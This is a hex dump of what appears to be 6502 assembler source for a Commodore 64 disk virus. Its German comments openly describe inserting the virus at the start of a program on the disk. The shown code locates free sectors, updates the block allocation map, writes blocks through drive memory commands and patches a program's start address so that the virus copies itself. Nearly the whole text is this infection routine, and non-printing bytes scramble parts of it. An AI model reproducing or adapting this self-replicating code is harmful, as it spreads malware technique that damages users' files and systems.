000020C0: 58 20 23 36 38 20 20 20  20 20 20 3B 53 55 43 48  |X #68      ;SUCH|
000020D0: 45 20 BF 4E 56 4F 4C 4C  00 F0 28 A2 1C 42 4E 45  |E .NVOLL..(..BNE|
000020E0: 20 4A 55 4D 50 33 20 20  20 20 3B AB AB B1 4A 41  | JUMP3    ;...JA|
000020F0: 00 13 29 AC 1C 4A 4D 50  20 80 20 20 20 20 20 20  |..)..JMP .      |
00002100: 3B 4E 45 49 4E 2C 44 41  4E 4E 20 56 49 52 55 53  |;NEIN,DANN VIRUS|
00002110: 20 80 45 00 29 29 B6 1C  4A 55 4D 50 34 20 53 42  | .E.))..JUMP4 SB|
00002120: 43 20 23 42 4C 4F 43 4B  53 00 47 29 C0 1C 53 54  |C #BLOCKS.G)..ST|
00002130: 41 20 B8 45 20 20 20 20  20 3B 50 4C 41 54 5A 20  |A .E     ;PLATZ |
00002140: 42 45 4C 45 47 45 4E 00  68 29 CA 1C 4A 53 52 20  |BELEGEN.h)..JSR |
00002150: 42 48 50 20 20 20 20 20  20 3B 4C 45 53 45 20 42  |BHP      ;LESE B|
00002160: 41 4D AB 54 52 41 43 4B  00 74 29 D4 1C 53 54 41  |AM.TRACK.t)..STA|
00002170: 20 42 41 4D 00 80 29 DE  1C 4A 53 52 20 42 48 50  | BAM..)..JSR BHP|
00002180: 00 8E 29 E8 1C 53 54 41  20 42 41 4D AA 31 00 9A  |..)..STA BAM.1..|
00002190: 29 F2 1C 4A 53 52 20 42  48 50 00 A8 29 FC 1C 53  |)..JSR BHP..)..S|
000021A0: 54 41 20 42 41 4D AA 32  00 B9 29 06 1D 4A 53 52  |TA BAM.2..)..JSR|
000021B0: 20 47 41 52 46 49 45 4C  44 00 DD 29 10 1D 4C 44  | GARFIELD..)..LD|
000021C0: 59 20 23 42 4C 4F 43 4B  53 20 20 3B 53 55 43 48  |Y #BLOCKS  ;SUCH|
000021D0: 45 20 B8 49 45 20 53 45  43 A4 52 45 4E 00 EA 29  |E .IE SEC.REN..)|
000021E0: 1A 1D 4C 44 58 20 23 24  46 46 00 F8 29 24 1D 4A  |..LDX #$FF..)$.J|
000021F0: 55 4D 50 35 20 50 48 50  00 00 2A 2E 1D 49 4E 58  |UMP5 PHP..*..INX|
00002200: 00 0C 2A 38 1D 43 50 58  20 23 32 35 00 1A 2A 42  |..*8.CPX #25..*B|
00002210: 1D 42 45 51 20 4A 55 4D  50 36 00 22 2A 4C 1D 50  |.BEQ JUMP6."*L.P|
00002220: 4C 50 00 2F 2A 56 1D 52  B0 20 42 41 4D AA 32 00  |LP./*V.R. BAM.2.|
00002230: 3C 2A 60 1D 52 B0 20 42  41 4D AA 31 00 47 2A 6A  |<*`.R. BAM.1.G*j|
00002240: 1D 52 B0 20 42 41 4D 00  66 2A 74 1D 42 43 43 20  |.R. BAM.f*t.BCC |
00002250: 4A 55 4D 50 35 20 20 20  20 3B 53 45 43 A4 52 20  |JUMP5    ;SEC.R |
00002260: 42 45 4C 45 47 54 00 71  2A 7E 1D 43 50 59 20 23  |BELEGT.q*~.CPY #|
00002270: 30 00 7F 2A 88 1D 42 45  51 20 4A 55 4D 50 35 00  |0..*..BEQ JUMP5.|
00002280: A0 2A 92 1D 54 58 41 20  20 20 20 20 20 20 20 20  |.*..TXA         |
00002290: 20 3B 53 45 43 A4 52 20  47 45 46 55 4E 44 45 4E  | ;SEC.R GEFUNDEN|
000022A0: 00 B1 2A 9C 1D 53 54 41  20 56 53 45 43 AB 31 2C  |..*..STA VSEC.1,|
000022B0: 59 00 B9 2A A6 1D 44 45  59 00 C1 2A B0 1D 43 4C  |Y..*..DEY..*..CL|
000022C0: 43 00 E1 2A BA 1D 42 43  43 20 4A 55 4D 50 35 20  |C..*..BCC JUMP5 |
000022D0: 20 20 20 3B 57 45 49 54  45 52 20 53 55 43 48 45  |   ;WEITER SUCHE|
000022E0: 4E 00 EF 2A C4 1D 4A 55  4D 50 36 20 50 4C 50 00  |N..*..JUMP6 PLP.|
000022F0: 0D 2B CE 1D 4C 44 41 20  23 22 57 22 20 20 20 20  |.+..LDA #"W"    |
00002300: 20 3B 53 43 48 41 4C 54  45 20 41 55 46 00 2C 2B  | ;SCHALTE AUF.,+|
00002310: D8 1D 53 54 41 20 44 4F  20 20 20 20 20 20 20 3B  |..STA DO       ;|
00002320: 53 43 48 52 45 49 42 4D  4F 44 55 53 00 3B 2B E2  |SCHREIBMODUS.;+.|
00002330: 1D 4C 44 41 20 56 54 52  41 43 4B 00 58 2B EC 1D  |.LDA VTRACK.X+..|
00002340: 4A 53 52 20 42 53 45 4C  45 43 54 20 20 3B 42 41  |JSR BSELECT  ;BA|
00002350: 4D 20 55 50 44 41 54 45  00 63 2B F6 1D 4C 44 41  |M UPDATE.c+..LDA|
00002360: 20 B8 45 00 70 2B 00 1E  4A 53 52 20 50 41 50 41  | .E.p+..JSR PAPA|
00002370: 00 7C 2B 0A 1E 4C 44 41  20 42 41 4D 00 89 2B 14  |.|+..LDA BAM..+.|
00002380: 1E 4A 53 52 20 50 41 50  41 00 97 2B 1E 1E 4C 44  |.JSR PAPA..+..LD|
00002390: 41 20 42 41 4D AA 31 00  A4 2B 28 1E 4A 53 52 20  |A BAM.1..+(.JSR |
000023A0: 50 41 50 41 00 B2 2B 32  1E 4C 44 41 20 42 41 4D  |PAPA..+2.LDA BAM|
000023B0: AA 32 00 C1 2B 3C 1E 4A  53 52 20 4F 55 54 55 4E  |.2..+<.JSR OUTUN|
000023C0: 4C 00 E4 2B 46 1E 4C 44  58 20 23 34 20 20 20 20  |L..+F.LDX #4    |
000023D0: 20 20 20 3B 53 43 48 52  45 49 42 45 20 42 41 4D  |   ;SCHREIBE BAM|
000023E0: 20 41 55 46 00 FB 2B 50  1E 4C 44 59 20 23 30 20  | AUF..+P.LDY #0 |
000023F0: 20 20 20 20 20 20 3B 44  49 53 4B 00 06 2C 5A 1E  |      ;DISK..,Z.|
00002400: 4C 44 41 20 23 31 00 14  2C 64 1E 4A 53 52 20 4D  |LDA #1..,d.JSR M|
00002410: 45 4D B0 59 00 39 2C 6E  1E 4C 44 41 20 23 24 39  |EM.Y.9,n.LDA #$9|
00002420: 30 20 20 20 20 20 3B 5F  5F 5F 5F 5F 5F 5F 42 4C  |0     ;_______BL|
00002430: 4F 43 4B AB 57 52 49 54  45 00 5A 2C 78 1E 4A 53  |OCK.WRITE.Z,x.JS|
00002440: 52 20 4F 55 54 55 4E 4C  20 20 20 3B 4B 4F 50 49  |R OUTUNL   ;KOPI|
00002450: 45 52 45 20 53 54 41 52  54 AB 00 7D 2C 82 1E 4A  |ERE START..},..J|
00002460: 53 52 20 41 53 4B 20 20  20 20 20 20 3B 42 4C 4F  |SR ASK      ;BLO|
00002470: 43 4B 20 4E 41 43 48 20  88 5A 54 45 4E 00 9D 2C  |CK NACH .ZTEN..,|
00002480: 8C 1E 4C 44 58 20 50 55  46 46 45 52 20 20 20 3B  |..LDX PUFFER   ;|
00002490: 47 45 46 55 4E 44 45 4E  20 B8 49 45 4E 00 B5 2C  |GEFUNDEN .IEN..,|
000024A0: 96 1E 4C 44 59 20 23 30  20 20 20 20 20 20 20 3B  |..LDY #0       ;|
000024B0: 42 4C 4F 43 4B 00 C0 2C  A0 1E 4C 44 01 20 23 32  |BLOCK..,..LD. #2|
000024C0: 00 CE 2C AA 1E 4A 53 52  20 4D 45 4D B0 59 00 EF  |..,..JSR MEM.Y..|
000024D0: 2C B4 1E 4C 44 41 20 54  52 41 43 4B 20 20 20 20  |,..LDA TRACK    |
000024E0: 3B 4C 45 53 45 20 42 4C  4F 43 4B 20 45 49 4E 00  |;LESE BLOCK EIN.|
000024F0: FC 2C BE 1E 4A 53 52 20  50 41 50 41 00 0A 2D C8  |.,..JSR PAPA..-.|
00002500: 1E 4C 44 41 20 53 45 43  A4 52 00 19 2D D2 1E 4A  |.LDA SEC.R..-..J|
00002510: 53 52 20 4F 55 54 55 4E  4C 00 25 2D DC 1E 4C 44  |SR OUTUNL.%-..LD|
00002520: 58 20 4A 4F 42 00 30 2D  E6 1E 4C 44 59 20 23 30  |X JOB.0-..LDY #0|
00002530: 00 3B 2D F0 1E 4C 44 41  20 23 31 00 49 2D FA 1E  |.;-..LDA #1.I-..|
00002540: 4A 53 52 20 4D 45 4D B0  59 00 6A 2D 04 1F 4C 44  |JSR MEM.Y.j-..LD|
00002550: 41 20 23 24 38 30 20 20  20 20 20 3B 5F 5F 5F 5F  |A #$80     ;____|
00002560: 5F 5F 5F 42 4C 4F 43 4B  AB 87 00 79 2D 0E 1F 4A  |___BLOCK...y-..J|
00002570: 53 52 20 4F 55 54 55 4E  4C 00 85 2D 18 1F 4A 53  |SR OUTUNL..-..JS|
00002580: 52 20 41 53 4B 00 94 2D  22 1F 4C 44 58 20 50 55  |R ASK..-".LDX PU|
00002590: 46 46 45 52 00 9F 2D 2C  1F 4C 44 59 20 23 30 00  |FFER..-,.LDY #0.|
000025A0: AA 2D 36 1F 4C 44 41 20  23 32 00 CD 2D 40 1F 4A  |.-6.LDA #2..-@.J|
000025B0: 53 52 20 4D 45 4D B0 59  20 20 20 3B 53 43 48 52  |SR MEM.Y   ;SCHR|
000025C0: 45 49 42 45 20 42 4C 4F  43 4B 20 41 4E 00 EB 2D  |EIBE BLOCK AN..-|
000025D0: 4A 1F 4C 44 41 20 56 54  52 41 43 4B 20 20 20 3B  |J.LDA VTRACK   ;|
000025E0: 4E 45 55 45 20 53 54 45  4C 4C 45 00 F8 2D 54 1F  |NEUE STELLE..-T.|
000025F0: 4A 53 52 20 50 41 50 41  00 0E 2E 5E 1F 4C 44 41  |JSR PAPA...^.LDA|
00002600: 20 56 53 45 43 AA 42 4C  4F 43 4B 53 AB 31 00 1D  | VSEC.BLOCKS.1..|
00002610: 2E 68 1F 4A 53 52 20 4F  55 54 55 4E 4C 00 29 2E  |.h.JSR OUTUNL.).|
00002620: 72 1F 4C 44 58 20 4A 4F  42 00 34 2E 7C 1F 4C 44  |r.LDX JOB.4.|.LD|
00002630: 59 20 23 30 00 3F 2E 86  1F 4C 44 41 20 23 31 00  |Y #0.?...LDA #1.|
00002640: 4D 2E 90 1F 4A 53 52 20  4D 45 4D B0 59 00 72 2E  |M...JSR MEM.Y.r.|
00002650: 9A 1F 4C 44 41 20 23 24  39 30 20 20 20 20 20 3B  |..LDA #$90     ;|
00002660: 5F 5F 5F 5F 5F 5F 5F 42  4C 4F 43 4B AB 57 52 49  |_______BLOCK.WRI|
00002670: 54 45 00 81 2E A4 1F 4A  53 52 20 4F 55 54 55 4E  |TE.....JSR OUTUN|
00002680: 4C 00 8D 2E AE 1F 4A 53  52 20 41 53 4B 00 B3 2E  |L.....JSR ASK...|
00002690: B8 1F 4C 44 58 20 23 30  20 20 20 20 20 20 20 3B  |..LDX #0       ;|
000026A0: 56 49 52 55 53 20 41 4D  20 41 4E 46 41 4E 47 20  |VIRUS AM ANFANG |
000026B0: 44 45 53 00 D8 2E C2 1F  53 54 58 20 43 4F 55 4E  |DES.....STX COUN|
000026C0: 54 20 20 20 20 3B 50 52  4F 47 52 41 4D 4D 53 20  |T    ;PROGRAMMS |
000026D0: 45 49 4E 42 41 55 45 4E  00 EA 2E CC 1F 4C 44 41  |EINBAUEN.....LDA|
000026E0: 20 23 B3 53 54 41 52 54  AB 34 00 F4 2E D6 1F 53  | #.START.4.....S|
000026F0: 54 41 20 58 00 06 2F E0  1F 4C 44 41 20 23 B1 53  |TA X../..LDA #.S|
00002700: 54 41 52 54 AB 34 00 10  2F EA 1F 53 54 41 20 59  |TART.4../..STA Y|
00002710: 00 1B 2F F4 1F 4C 44 41  20 23 30 00 25 2F FE 1F  |../..LDA #0.%/..|
00002720: 53 54 41 20 5A 00 35 2F  08 20 4A 55 4D 50 38 20  |STA Z.5/. JUMP8 |
00002730: 4C 44 58 20 5A 00 41 2F  12 20 4C 44 59 20 41 44  |LDX Z.A/. LDY AD|
00002740: 52 00 66 2F 1C 20 4C 44  41 20 23 33 32 20 20 20  |R.f/. LDA #32   |
00002750: 20 20 20 3B 33 32 20 42  59 54 45 53 20 49 4E 20  |   ;32 BYTES IN |
00002760: 50 55 46 46 45 52 00 81  2F 26 20 4A 53 52 20 4D  |PUFFER../& JSR M|
00002770: 45 4D B0 59 20 20 20 3B  53 43 48 52 45 49 42 45  |EM.Y   ;SCHREIBE|
00002780: 4E 00 91 2F 30 20 4A 55  4D 50 37 20 4C 44 59 20  |N../0 JUMP7 LDY |
00002790: 5A 00 9F 2F 3A 20 4C 44  41 20 28 58 29 2C 59 00  |Z../: LDA (X),Y.|
000027A0: AC 2F 44 20 4A 53 52 20  50 41 50 41 00 B6 2F 4E  |./D JSR PAPA../N|
000027B0: 20 49 4E 43 20 5A 00 C0  2F 58 20 4C 44 41 20 5A  | INC Z../X LDA Z|
000027C0: 00 CE 2F 62 20 AF 20 23  25 31 31 31 31 31 00 DC  |../b . #%11111..|
000027D0: 2F 6C 20 42 4E 45 20 4A  55 4D 50 37 00 ED 2F 76  |/l BNE JUMP7../v|
000027E0: 20 4A 53 52 20 47 41 52  46 49 45 4C 44 00 11 30  | JSR GARFIELD..0|
000027F0: 80 20 4C 44 41 20 5A 20  20 20 20 20 20 20 20 3B  |. LDA Z        ;|
00002800: 4B 4F 4D 50 88 54 45 52  20 42 4C 4F 43 4B 20 49  |KOMP.TER BLOCK I|
00002810: 4E 00 38 30 8A 20 42 4E  45 20 4A 55 4D 50 38 20  |N.80. BNE JUMP8 |
00002820: 20 20 20 3B 50 55 46 46  45 52 20 47 45 53 43 48  |   ;PUFFER GESCH|
00002830: 52 49 45 42 45 4E 2E 2E  00 46 30 94 20 4C 44 59  |RIEBEN...F0. LDY|
00002840: 20 43 4F 55 4E 54 00 55  30 9E 20 42 4E 45 20 4A  | COUNT.U0. BNE J|
00002850: 55 4D 50 31 37 00 7B 30  A8 20 4C 44 58 20 23 32  |UMP17.{0. LDX #2|
00002860: 20 20 20 20 20 20 20 3B  4B B0 52 49 47 49 45 52  |       ;K.RIGIER|
00002870: 45 20 53 54 41 52 54 41  44 52 2E 00 9D 30 B2 20  |E STARTADR...0. |
00002880: 4C 44 59 20 41 44 52 20  20 20 20 20 20 3B 49 4D  |LDY ADR      ;IM|
00002890: 20 45 52 53 54 45 4E 20  42 4C 4F 43 4B 00 A8 30  | ERSTEN BLOCK..0|
000028A0: BC 20 4C 44 41 20 23 32  00 B6 30 C6 20 4A 53 52  |. LDA #2..0. JSR|
000028B0: 20 4D 45 4D B0 59 00 C5  30 D0 20 4C 44 41 20 42  | MEM.Y..0. LDA B|
000028C0: 41 53 49 43 53 00 D2 30  DA 20 4A 53 52 20 50 41  |ASICS..0. JSR PA|
000028D0: 50 41 00 E3 30 E4 20 4C  44 41 20 42 41 53 49 43  |PA..0. LDA BASIC|
000028E0: 53 AA 31 00 F2 30 EE 20  4A 53 52 20 4F 55 54 55  |S.1..0. JSR OUTU|
000028F0: 4E 4C 00 04 31 F8 20 4A  55 4D 50 31 37 20 4C 44  |NL..1. JUMP17 LD|
00002900: 58 20 23 30 00 10 31 02  21 4C 44 59 20 41 44 52  |X #0..1.!LDY ADR|
00002910: 00 2C 31 0C 21 4C 44 41  20 23 32 20 20 20 20 20  |.,1.!LDA #2     |
00002920: 20 20 3B 4C 49 4E 4B 42  59 54 45 53 00 48 31 16  |  ;LINKBYTES.H1.|
00002930: 21 4A 53 52 20 4D 45 4D  B0 59 20 20 20 3B 4B B0  |!JSR MEM.Y   ;K.|
00002940: 52 49 47 49 45 52 45 4E  00 57 31 20 21 4C 44 41  |RIGIEREN.W1 !LDA|
00002950: 20 56 54 52 41 43 4B 00  64 31 2A 21 4A 53 52 20  | VTRACK.d1*!JSR |
00002960: 50 41 50 41 00 72 31 34  21 4C 44 59 20 43 4F 55  |PAPA.r14!LDY COU|
00002970: 4E 54 00 81 31 3E 21 4C  44 41 20 56 53 45 43 2C  |NT..1>!LDA VSEC,|
00002980: 59 00 90 31 48 21 4A 53  52 20 4F 55 54 55 4E 4C  |Y..1H!JSR OUTUNL|
00002990: 00 B1 31 52 21 4C 44 58  20 50 55 46 46 45 52 20  |..1R!LDX PUFFER |
000029A0: 20 20 3B 42 4C 4F 43 4B  20 41 55 46 20 44 49 53  |  ;BLOCK AUF DIS|
000029B0: 4B 00 CD 31 5C 21 4C 44  59 20 23 30 20 20 20 20  |K..1\!LDY #0    |
000029C0: 20 20 20 3B 53 43 48 52  45 49 42 45 4E 00 D8 31  |   ;SCHREIBEN..1|
000029D0: 66 21 4C 44 41 20 23 32  00 E6 31 70 21 4A 53 52  |f!LDA #2..1p!JSR|
000029E0: 20 4D 45 4D B0 59 00 F4  31 7A 21 4C 44 59 20 43  | MEM.Y..1z!LDY C|
000029F0: 4F 55 4E 54 00 03 32 84  21 42 4E 45 20 4A 55 4D  |OUNT..2.!BNE JUM|
00002A00: 50 31 31 00 11 32 8E 21  4C 44 41 20 54 52 41 43  |P11..2.!LDA TRAC|
00002A10: 4B 00 1F 32 98 21 2E 42  59 54 45 20 24 32 43 00  |K..2.!.BYTE $2C.|
00002A20: 35 32 A2 21 4A 55 4D 50  31 31 20 4C 44 41 20 56  |52.!JUMP11 LDA V|
00002A30: 54 52 41 43 4B 00 42 32  AC 21 4A 53 52 20 50 41  |TRACK.B2.!JSR PA|
00002A40: 50 41 00 50 32 B6 21 4C  44 59 20 43 4F 55 4E 54  |PA.P2.!LDY COUNT|
00002A50: 00 60 32 C0 21 4C 44 41  20 53 45 43 A4 52 2C 59  |.`2.!LDA SEC.R,Y|
00002A60: 00 6F 32 CA 21 4A 53 52  20 4F 55 54 55 4E 4C 00  |.o2.!JSR OUTUNL.|
00002A70: 7B 32 D4 21 4C 44 58 20  4A 4F 42 00 86 32 DE 21  |{2.!LDX JOB..2.!|
00002A80: 4C 44 59 20 23 30 00 91  32 E8 21 4C 44 41 20 23  |LDY #0..2.!LDA #|
00002A90: 31 00 9F 32 F2 21 4A 53  52 20 4D 45 4D B0 59 00  |1..2.!JSR MEM.Y.|
00002AA0: C4 32 FC 21 4C 44 41 20  23 24 39 30 20 20 20 20  |.2.!LDA #$90    |
00002AB0: 20 3B 5F 5F 5F 5F 5F 5F  5F 42 4C 4F 43 4B AB 57  | ;_______BLOCK.W|
00002AC0: 52 49 54 45 00 D3 32 06  22 4A 53 52 20 4F 55 54  |RITE..2."JSR OUT|
00002AD0: 55 4E 4C 00 DF 32 10 22  4A 53 52 20 41 53 4B 00  |UNL..2."JSR ASK.|
00002AE0: E7 32 1A 22 43 4C 43 00  F1 32 24 22 4C 44 41 20  |.2."CLC..2$"LDA |
00002AF0: 58 00 FE 32 2E 22 41 44  43 20 23 32 35 34 00 08  |X..2."ADC #254..|
00002B00: 33 38 22 53 54 41 20 58  00 12 33 42 22 4C 44 41  |38"STA X..3B"LDA|
00002B10: 20 59 00 1D 33 4C 22 41  44 43 20 23 30 00 27 33  | Y..3L"ADC #0.'3|
00002B20: 56 22 53 54 41 20 59 00  4C 33 60 22 49 4E 43 20  |V"STA Y.L3`"INC |
00002B30: 43 4F 55 4E 54 20 20 20  20 3B 46 41 4C 4C 53 20  |COUNT    ;FALLS |
00002B40: 4E 4F 43 48 20 42 4C 4F  45 43 4B 45 00 73 33 6A  |NOCH BLOECKE.s3j|
00002B50: 22 4C 44 58 20 43 4F 55  4E 54 20 20 20 20 3B 5A  |"LDX COUNT    ;Z|
00002B60: 55 20 53 43 48 52 45 49  42 45 4E 2C 20 57 45 49  |U SCHREIBEN, WEI|
00002B70: 54 45 52 00 83 33 74 22  43 50 58 20 23 42 4C 4F  |TER..3t"CPX #BLO|
00002B80: 43 4B 53 00 AA 33 7E 22  42 45 51 20 42 59 45 20  |CKS..3~"BEQ BYE |
00002B90: 20 20 20 20 20 3B 48 49  50 50 49 45 21 46 45 52  |     ;HIPPIE!FER|
00002BA0: 54 49 47 20 53 41 4E 20  4D 41 00 B8 33 88 22 4A  |TIG SAN MA..3."J|
00002BB0: 4D 50 20 4A 55 4D 50 38  00 DA 33 28 23 3B 57 49  |MP JUMP8..3(#;WI|
00002BC0: 52 44 20 45 49 4E 20 56  49 52 55 53 20 B8 49 47  |RD EIN VIRUS .IG|
00002BD0: 45 4C 41 53 53 45 4E 2E  2E 2E 00 EB 33 2A 26 42  |ELASSEN.....3*&B|
00002BE0: 59 45 20 4C 44 41 20 23  24 36 30 00 F7 33 34 26  |YE LDA #$60..34&|
00002BF0: 53 54 41 20 53 45 4B 00  03 34 3E 26 4A 53 52 20  |STA SEK..4>&JSR |
00002C00: 46 4A 53 00 10 34 48 26  4C 44 41 20 23 24 36 46  |FJS..4H&LDA #$6F|
00002C10: 00 1C 34 52 26 53 54 41  20 53 45 4B 00 27 34 5C  |..4R&STA SEK.'4\|
00002C20: 26 4A 53 52 20 53 9B 00  34 34 66 26 4C 44 41 20  |&JSR S..44f&LDA |
00002C30: 23 22 49 22 00 43 34 70  26 4A 53 52 20 4F 55 54  |#"I".C4p&JSR OUT|
00002C40: 55 4E 4C 00 50 34 7A 26  4C 44 58 20 23 24 30 30  |UNL.P4z&LDX #$00|
00002C50: 00 70 34 84 26 4A 55 4D  50 31 34 20 50 4C 41 20  |.p4.&JUMP14 PLA |
00002C60: 20 20 3B 53 50 45 49 43  48 45 52 53 54 45 4C C3  |  ;SPEICHERSTEL.|
00002C70: 00 8F 34 8E 26 53 54 41  20 4D 45 4D 2C 58 20 20  |..4.&STA MEM,X  |
00002C80: 20 20 3B 52 45 53 54 41  55 52 49 45 52 45 4E 00  |  ;RESTAURIEREN.|
00002C90: 97 34 98 26 49 4E 58 00  AA 34 A2 26 43 50 58 20  |.4.&INX..4.&CPX |
00002CA0: 23 31 34 AA 42 4C 4F 43  4B 53 00 B9 34 AC 26 42  |#14.BLOCKS..4.&B|
00002CB0: 4E 45 20 4A 55 4D 50 31  34 00 C6 34 B6 26 4C 44  |NE JUMP14..4.&LD|
00002CC0: 58 20 23 24 30 30 00 D5  34 C0 26 4A 55 4D 50 31  |X #$00..4.&JUMP1|
00002CD0: 35 20 50 4C 41 00 E3 34  CA 26 53 54 41 20 50 41  |5 PLA..4.&STA PA|
00002CE0: 52 2C 58 00 EB 34 D4 26  49 4E 58 00 F8 34 DE 26  |R,X..4.&INX..4.&|
00002CF0: 43 50 58 20 23 24 30 36  00 07 35 E8 26 42 4E 45  |CPX #$06..5.&BNE|
00002D00: 20 4A 55 4D 50 31 35 00  14 35 ED 26 4A 53 52 20  | JUMP15..5.&JSR |
00002D10: 43 41 4C 4C 00 1C 35 F2  26 50 4C 41 00 2B 35 FC  |CALL..5.&PLA.+5.|
00002D20: 26 53 54 41 20 53 54 41  54 55 53 00 4E 35 06 27  |&STA STATUS.N5.'|
00002D30: 52 54 53 20 20 20 20 20  20 20 20 20 20 3B 56 49  |RTS          ;VI|
00002D40: 52 55 53 50 52 4F 47 52  41 4D 4D 20 80 45 00 6A  |RUSPROGRAMM .E.j|
00002D50: 35 10 27 3B AB AB AB AB  AB 49 45 43 4F 55 54 AA  |5.';.....IECOUT.|
00002D60: 55 4E 9B AB AB AB AB AB  AB B1 00 7E 35 1A 27 4F  |UN.........~5.'O|
00002D70: 55 54 55 4E 4C 20 4A 53  52 20 50 41 50 41 00 8F  |UTUNL JSR PAPA..|
00002D80: 35 24 27 4A 4D 50 20 47  41 52 46 49 45 4C 44 00  |5$'JMP GARFIELD.|
00002D90: AE 35 F8 2A 3B AB AB AB  AB AB AB 42 53 45 4C 45  |.5.*;......BSELE|
00002DA0: 43 54 AB AB AB AB AB AB  AB AB AB AB AB B1 00 D0  |CT..............|
00002DB0: 35 02 2B 42 53 45 4C 45  43 54 20 41 53 4C 20 3B  |5.+BSELECT ASL ;|
00002DC0: 53 45 4C 45 4B 54 49 45  52 54 20 45 49 4E 45 4E  |SELEKTIERT EINEN|
00002DD0: 00 EF 35 0C 2B 41 53 4C  20 20 20 20 20 20 20 20  |..5.+ASL        |
00002DE0: 20 3B 54 52 41 43 4B 20  44 45 52 20 42 41 4D 00  | ;TRACK DER BAM.|
00002DF0: F7 35 16 2B 54 41 58 00  02 36 20 2B 4C 44 59 20  |.5.+TAX..6 +LDY |
00002E00: 23 37 00 0D 36 2A 2B 4C  44 41 20 23 34 00 1B 36  |#7..6*+LDA #4..6|
00002E10: 34 2B 4A 4D 50 20 4D 45  4D B0 59 00 3A 36 E0 2E  |4+JMP MEM.Y.:6..|
00002E20: 3B AB AB AB AB AB AB 53  54 41 4C 4B AB AB AB AB  |;......STALK....|
00002E30: AB AB AB AB AB AB AB AB  AB B1 00 4C 36 EA 2E 53  |...........L6..S|
00002E40: 54 41 4C 4B 20 4C 44 41  20 44 45 56 00 5B 36 F4  |TALK LDA DEV.[6.|
00002E50: 2E 4A 53 52 20 53 41 53  4B 49 41 00 80 36 FE 2E  |.JSR SASKIA..6..|
00002E60: 4C 44 41 20 53 45 4B 20  20 20 20 20 3B 50 52 49  |LDA SEK     ;PRI|
00002E70: 4D 41 45 52 AB 26 53 45  4B 55 4E 44 41 45 52 AB  |MAER.&SEKUNDAER.|
00002E80: 00 9F 36 08 2F 4A 4D 50  20 43 48 52 49 53 54 49  |..6./JMP CHRISTI|
00002E90: 4E 45 3B 41 44 52 45 53  53 45 20 54 41 4C 4B 00  |NE;ADRESSE TALK.|
00002EA0: BB 36 C8 32 3B AB AB AB  AB AB AB 53 9B AB AB AB  |.6.2;......S....|
00002EB0: AB AB AB AB AB AB AB AB  AB AB B1 00 CA 36 D2 32  |.............6.2|
00002EC0: 53 9B 20 4C 44 41 20 44  45 56 00 D7 36 DC 32 4A  |S. LDA DEV..6.2J|
00002ED0: 53 52 20 4E 45 4D 4F 00  FC 36 E6 32 4C 44 41 20  |SR NEMO..6.2LDA |
00002EE0: 53 45 4B 20 20 20 20 20  3B 50 52 49 4D 41 45 52  |SEK     ;PRIMAER|
00002EF0: AB 26 53 45 4B 55 4E 44  41 45 52 AB 00 19 37 F0  |.&SEKUNDAER...7.|
00002F00: 32 4A 4D 50 20 54 48 4F  4D 41 53 20 20 3B 41 44  |2JMP THOMAS  ;AD|
00002F10: 52 45 53 53 45 20 9B 45  4E 00 38 37 B0 36 3B AB  |RESSE .EN.87.6;.|
00002F20: AB AB AB AB AB 41 53 4B  AB AB AB AB AB AB AB AB  |.....ASK........|
00002F30: AB AB AB AB AB AB AB B1  00 58 37 BA 36 41 53 4B  |.........X7.6ASK|
00002F40: 20 4C 44 41 20 23 22 52  22 3B 55 45 42 45 52 50  | LDA #"R";UEBERP|
00002F50: 52 55 45 46 45 20 4F 42  00 75 37 C4 36 53 54 41  |RUEFE OB.u7.6STA|
00002F60: 20 44 4F 20 20 20 20 20  20 3B 4A 4F 42 20 41 4E  | DO      ;JOB AN|
00002F70: 20 44 49 53 4B 00 97 37  CE 36 41 31 20 4C 44 58  | DISK..7.6A1 LDX|
00002F80: 20 23 30 20 20 20 3B 53  43 48 91 20 41 55 53 47  | #0   ;SCH. AUSG|
00002F90: 45 46 55 05 48 52 54 00  AC 37 D8 36 41 32 20 4E  |EFU.HRT..7.6A2 N|
00002FA0: 4F 50 20 20 20 20 20 20  3B 49 53 54 00 B4 37 E2  |OP      ;IST..7.|
00002FB0: 36 4E 4F 50 00 BC 37 EC  36 4E 4F 50 00 C4 37 F6  |6NOP..7.6NOP..7.|
00002FC0: 36 4E 4F 50 00 CC 37 00  37 49 4E 58 00 D7 37 0A  |6NOP..7.7INX..7.|
00002FD0: 37 42 4E 45 20 41 32 00  E3 37 14 37 4C 44 58 20  |7BNE A2..7.7LDX |
00002FE0: 4A 4F 42 00 EE 37 1E 37  4C 44 59 20 23 30 00 F9  |JOB..7.7LDY #0..|
00002FF0: 37 28 37 4C 44 41 20 23  31 00 07 38 32 37 4A 53  |7(7LDA #1..827JS|
00003000: 52 20 4D 45 4D B0 59 00  18 38 3C 37 4A 53 52 20  |R MEM.Y..8<7JSR |
00003010: 47 41 52 46 49 45 4C 44  00 26 38 46 37 4A 53 52  |GARFIELD.&8F7JSR|
00003020: 20 53 54 41 4C 4B 00 32  38 50 37 4A 53 52 20 42  | STALK.28P7JSR B|
00003030: 48 50 00 3A 38 5A 37 50  48 41 00 48 38 64 37 4A  |HP.:8Z7PHA.H8d7J|
00003040: 53 52 20 53 55 48 41 4C  00 50 38 6E 37 50 4C 41  |SR SUHAL.P8n7PLA|
00003050: 00 5B 38 78 37 AF 20 23  24 38 30 00 7F 38 82 37  |.[8x7. #$80..8.7|
00003060: 42 4E 45 20 41 31 20 20  20 20 20 20 3B 4E 45 49  |BNE A1      ;NEI|
00003070: 4E 2C 20 44 41 4E 4E 20  4E 4F 43 48 4D 41 4C 00  |N, DANN NOCHMAL.|
00003080: 8C 38 8C 37 4C 44 41 20  23 22 57 22 00 97 38 96  |.8.7LDA #"W"..8.|
00003090: 37 53 54 41 20 44 4F 00  9F 38 A0 37 52 54 53 00  |7STA DO..8.7RTS.|
000030A0: BD 38 98 3A 3B AB AB AB  AB AB AB 4D 45 4D B0 59  |.8.:;......MEM.Y|
000030B0: AB 41 4B 4B 55 AB AB AB  AB AB AB AB B1 00 D3 38  |.AKKU..........8|
000030C0: A2 3A 4D 45 4D B0 59 20  50 48 41 20 20 3B 22 4D  |.:MEM.Y PHA  ;"M|
000030D0: 2D 22 AA 00 F7 38 AC 3A  54 59 41 20 20 20 20 20  |-"...8.:TYA     |
000030E0: 20 20 20 20 3B 53 50 45  49 43 48 45 52 53 54 45  |    ;SPEICHERSTE|
000030F0: 4C 4C 45 20 44 4F AA 00  0B 39 B6 3A 50 48 41 20  |LLE DO...9.:PHA |
00003100: 20 20 20 20 20 20 20 20  3B 58 AA 00 1F 39 C0 3A  |        ;X...9.:|
